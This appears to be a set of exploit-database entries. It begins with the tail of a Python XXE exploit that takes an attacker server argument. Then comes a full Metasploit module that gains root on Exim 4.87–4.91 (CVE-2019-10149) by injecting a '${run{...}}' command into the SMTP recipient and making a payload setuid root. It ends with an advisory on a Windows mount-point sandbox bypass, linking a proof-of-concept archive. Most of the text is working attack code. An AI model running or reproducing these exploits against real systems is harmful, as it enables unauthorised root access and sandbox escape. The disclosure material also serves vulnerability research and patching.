	r = requests.post(target, headers=headers, data=data, proxies=proxies, verify=False)
	
def main():
	if len(sys.argv) != 7:
		print "(+) usage: %s <target><attackerserver><boundary><workgroup_session_id_cookie><zoneid><dashboardname>"  % sys.argv[0]
		sys.exit(-1) 
 	target = sys.argv[1]	 
	attackerserver = sys.argv[2]
	boundary = sys.argv[3]
	cookie = sys.argv[4]
	zoneid = sys.argv[5]
	dashboard = sys.argv[6]
	xxe(target,attackerserver,boundary,cookie,zoneid,dashboard)
	print "making request, make sure to catch the HTTP request!"
	 
if __name__ == "__main__":
	main()
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'expect'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Exim 4.87 - 4.91 Local Privilege Escalation',
      'Description'    => %q{
        This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive).
        Improper validation of recipient address in deliver_message()
        function in /src/deliver.c may lead to command execution with root privileges
        (CVE-2019-10149).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Qualys', # Discovery and PoC (@qualys)
          'Dennis Herrmann', # Working exploit (@dhn)
          'Marco Ivaldi', # Working exploit (@0xdea)
          'Guillaume André' # Metasploit module (@yaumn_)
        ],
      'DisclosureDate' => '2019-06-05',
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        =>
        [
          [
            'Exim 4.87 - 4.91',
            lower_version: Gem::Version.new('4.87'),
            upper_version: Gem::Version.new('4.91')
          ]
        ],
      'DefaultOptions' =>
        {
          'PrependSetgid' => true,
          'PrependSetuid' => true
        },
      'References'     =>
        [
          [ 'CVE', '2019-10149' ],
          [ 'EDB', '46996' ],
          [ 'URL', 'https://www.openwall.com/lists/oss-security/2019/06/06/1' ]
        ]
    ))

    register_options(
      [
        OptInt.new('EXIMPORT', [ true, 'The port exim is listening to', 25 ])
      ])

    register_advanced_options(
      [
        OptBool.new('ForceExploit', [ false, 'Force exploit even if the current session is root', false ]),
        OptFloat.new('SendExpectTimeout', [ true, 'Timeout per send/expect when communicating with exim', 3.5 ]),
        OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
      ])
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def encode_command(cmd)
    '\x' + cmd.unpack('H2' * cmd.length).join('\x')
  end

  def open_tcp_connection
    socket_subsystem = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client)
      params = Rex::Socket::Parameters.new({
        'PeerHost' => '127.0.0.1',
        'PeerPort' => datastore['EXIMPORT']
      })
      begin
        socket = socket_subsystem.create_tcp_client_channel(params)
      rescue => e
        vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\
                    "are you sure exim is listening on this port? (see EXIMPORT)")
        raise e
      end
    return socket_subsystem, socket
  end

  def inject_payload(payload)
    if session.type == 'meterpreter'
      socket_subsystem, socket = open_tcp_connection

      tcp_conversation = {
        nil                                          => /220/,
        'helo localhost'                             => /250/,
        "MAIL FROM:<>"                               => /250/,
        "RCPT TO:<${run{#{payload}}}@localhost>"     => /250/,
        'DATA'                                       => /354/,
        'Received:'                                  => nil,
        '.'                                          => /250/
      }

      begin
        tcp_conversation.each do |line, pattern|
          Timeout.timeout(datastore['SendExpectTimeout']) do
            if line
              if line == 'Received:'
                for i in (1..31)
                  socket.puts("#{line} #{i}\n")
                end
              else
                socket.puts("#{line}\n")
              end
            end
            if pattern
              socket.expect(pattern)
            end
          end
        end
      rescue Rex::ConnectionError => e
        fail_with(Failure::Unreachable, e.message)
      rescue Timeout::Error
        fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out')
      ensure
        socket.puts("QUIT\n")
        socket.close
        socket_subsystem.shutdown
      end
    else
      unless cmd_exec("/bin/bash -c 'exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}' "\
                      "&& echo true").chomp.to_s == 'true'
        fail_with(Failure::NotFound, "Port #{datastore['EXIMPORT']} is closed")
      end

      bash_script = %|
        #!/bin/bash

        exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}
        read -u 3 && echo $REPLY
        echo "helo localhost" >&3
        read -u 3 && echo $REPLY
        echo "mail from:<>" >&3
        read -u 3 && echo $REPLY
        echo 'rcpt to:<${run{#{payload}}}@localhost>' >&3
        read -u 3 && echo $REPLY
        echo "data" >&3
        read -u 3 && echo $REPLY
        for i in $(seq 1 30); do
          echo 'Received: $i' >&3
        done
        echo "." >&3
        read -u 3 && echo $REPLY
        echo "quit" >&3
        read -u 3 && echo $REPLY
      |

      @bash_script_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))
      write_file(@bash_script_path, bash_script)
      register_file_for_cleanup(@bash_script_path)
      chmod(@bash_script_path)
      cmd_exec("/bin/bash -c \"#{@bash_script_path}\"")
    end

    print_status('Payload sent, wait a few seconds...')
    Rex.sleep(5)
  end

  def check_for_bash
    unless command_exists?('/bin/bash')
      fail_with(Failure::NotFound, 'bash not found')
    end
  end

  def on_new_session(session)
    super

    if session.type == 'meterpreter'
      session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
      session.fs.file.rm(@payload_path)
    else
      session.shell_command_token("rm -f #{@payload_path}")
    end
  end

  def check
    if session.type == 'meterpreter'
      begin
        socket_subsystem, socket = open_tcp_connection
      rescue
        return CheckCode::Safe
      end
      res = socket.gets
      socket.close
      socket_subsystem.shutdown
    else
      check_for_bash
      res = cmd_exec("/bin/bash -c 'exec 3</dev/tcp/localhost/#{datastore['EXIMPORT']} && "\
                     "(read -u 3 && echo $REPLY) || echo false'")
      if res == 'false'
         vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\
                      "are you sure exim is listening on this port? (see EXIMPORT)")
         return CheckCode::Safe
      end
    end

    if res =~ /Exim ([0-9\.]+)/i
      version = Gem::Version.new($1)
      vprint_status("Found exim version: #{version}")
      if version >= target[:lower_version] && version <= target[:upper_version]
        return CheckCode::Appears
      else
        return CheckCode::Safe
      end
    end

    CheckCode::Unknown
  end

  def exploit
    if is_root?
      unless datastore['ForceExploit']
        fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
      end
    end

    unless writable?(base_dir)
      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
    end

    if nosuid?(base_dir)
      fail_with(Failure::BadConfig, "#{base_dir} is mounted nosuid")
    end

    unless datastore['PrependSetuid'] && datastore['PrependSetgid']
      fail_with(Failure::BadConfig, 'PrependSetuid and PrependSetgid must both be set to true in order ' \
                                    'to get root privileges.')
    end

    if session.type == 'shell'
      check_for_bash
    end

    @payload_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))
    write_file(@payload_path, payload.encoded_exe)
    register_file_for_cleanup(@payload_path)
    inject_payload(encode_command("/bin/sh -c 'chown root #{@payload_path};"\
                                  "chmod 4755 #{@payload_path}'"))

    unless setuid?(@payload_path)
      fail_with(Failure::Unknown, "Couldn't escalate privileges")
    end

    cmd_exec("#{@payload_path} & echo ")
  end
end
            
Windows: SET_REPARSE_POINT_EX Mount Point Security Feature Bypass
Platform: Windows 10 1903, 1809 (not tested earlier)
Class: Security Feature Bypass

Summary: 

The NTFS driver supports a new FS control code to set a mount point which the existing sandbox mitigation doesn’t support allowing a sandboxed application to set an arbitrary mount point symbolic link.

Description:

After multiple previous attempts the kernel mitigation against adding arbitrary NTFS mount points seems pretty robust. However due to the way it was implemented inside the IO manager in the kernel it is fragile to changes inside the filesystem drivers as the mitigation is only implemented when the FSCTL_SET_REPASE_POINT control code is used.

In this case at some point (based on headers probably RS1) a new FSCTL was added to NTFS, FSCTL_SET_REPARSE_POINT_EX to allow overwriting an existing reparse point without having to first delete it. This FSCTL has a different control code to the old one, therefore issuing it does not trigger the mitigation and an arbitrary mount point can be set from any sandboxed applications. This mount point could then facilitate further attacks, for example https://bugs.chromium.org/p/project-zero/issues/detail?id=1413 is probably now vulnerable again to drop an arbitrary file as the current user.

Fixing wise obviously you’d want to also detect this FSCTL and handle it in the mitigation. You’ll probably want to verify the NTFS implementation to check that it’s not possible to just change the data without specifying a valid tag when an existing tag is already set as the single optional flag you can specify isn’t exactly clear on this. You might also want to find a way of getting visibility on new changes which can affect symbolic link operations, as this is 3rd time this has happened recently (previously NPFS symlinks and global symlinks) that I know of.

Proof of Concept:

I’ve provided a PoC as a C# project. It will create a temporary directory, drop its token’s IL to Low then set that directory to be a mount point to the windows folder which would not normally be allowed.

1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build.
2) As a normal user run the PoC. 
3) The PoC should print the set mount point path.

Expected Result:
Setting the mount point should fail with access denied.

Observed Result:
The mount point is set to an arbitrary directory.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47306.zip